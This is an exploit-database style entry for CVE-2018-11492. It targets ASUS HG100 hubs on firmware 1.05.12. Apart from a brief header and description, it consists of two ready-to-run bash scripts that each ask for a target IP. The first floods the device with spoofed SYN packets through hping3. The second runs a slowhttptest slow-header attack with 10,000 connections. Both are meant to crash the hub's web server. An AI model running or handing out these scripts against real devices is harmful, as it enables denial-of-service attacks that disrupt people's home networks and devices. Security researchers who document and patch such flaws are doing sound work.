# Exploit Title:ASUS HG100 devices denial of service(DOS) via IPv4 packets/SlowHTTPDOS # Date: 2019-04-14 # Exploit Author: YinT Wang; # Vendor Homepage: www.asus.com # Version: Hardware version: HG100 、Firmware version: 1.05.12 # Tested on: Currnet 1.05.12 # CVE : CVE-2018-11492 1. Description The attack at same Local-Network-area could crash the device via the Hping3 or Slowhttptest(which is not include in the CVE-2018-11492). 2.Proof of Concept Just Execute the following script in kali which could crash the devices 1. IPv4 packet and in result of devices crash.which written in linux script. #needed to co-operate with hping3 tool #with the time period at least 220s which could cause web server of HG100 devices crash #!/bin/bash read -p "enter the ip of HG100 here " url hping3 -V -c 10000 -S -w 64 --flood --rand-source $url sleep 220 echo "Hping3 –V –c 10000 –S –w 64 –flood –rand-source $url time 220s" exit 0 2.Slowhttp test and caused the devices crash.which written in linux script. #needed to co-operate with slowhttptest tool #with the time period 600s which could cause web server of HG100 devices crash #!/bin/bash read -p "enter the ip of HG100 with port here ex: http://x.x.x.x:123 " url slowhttptest -H -R -c 10000 -l 600 -u $url sleep 600 echo "slowhttptest -H -R -c 10000 -l 600 -u $url time 600s" exit 0
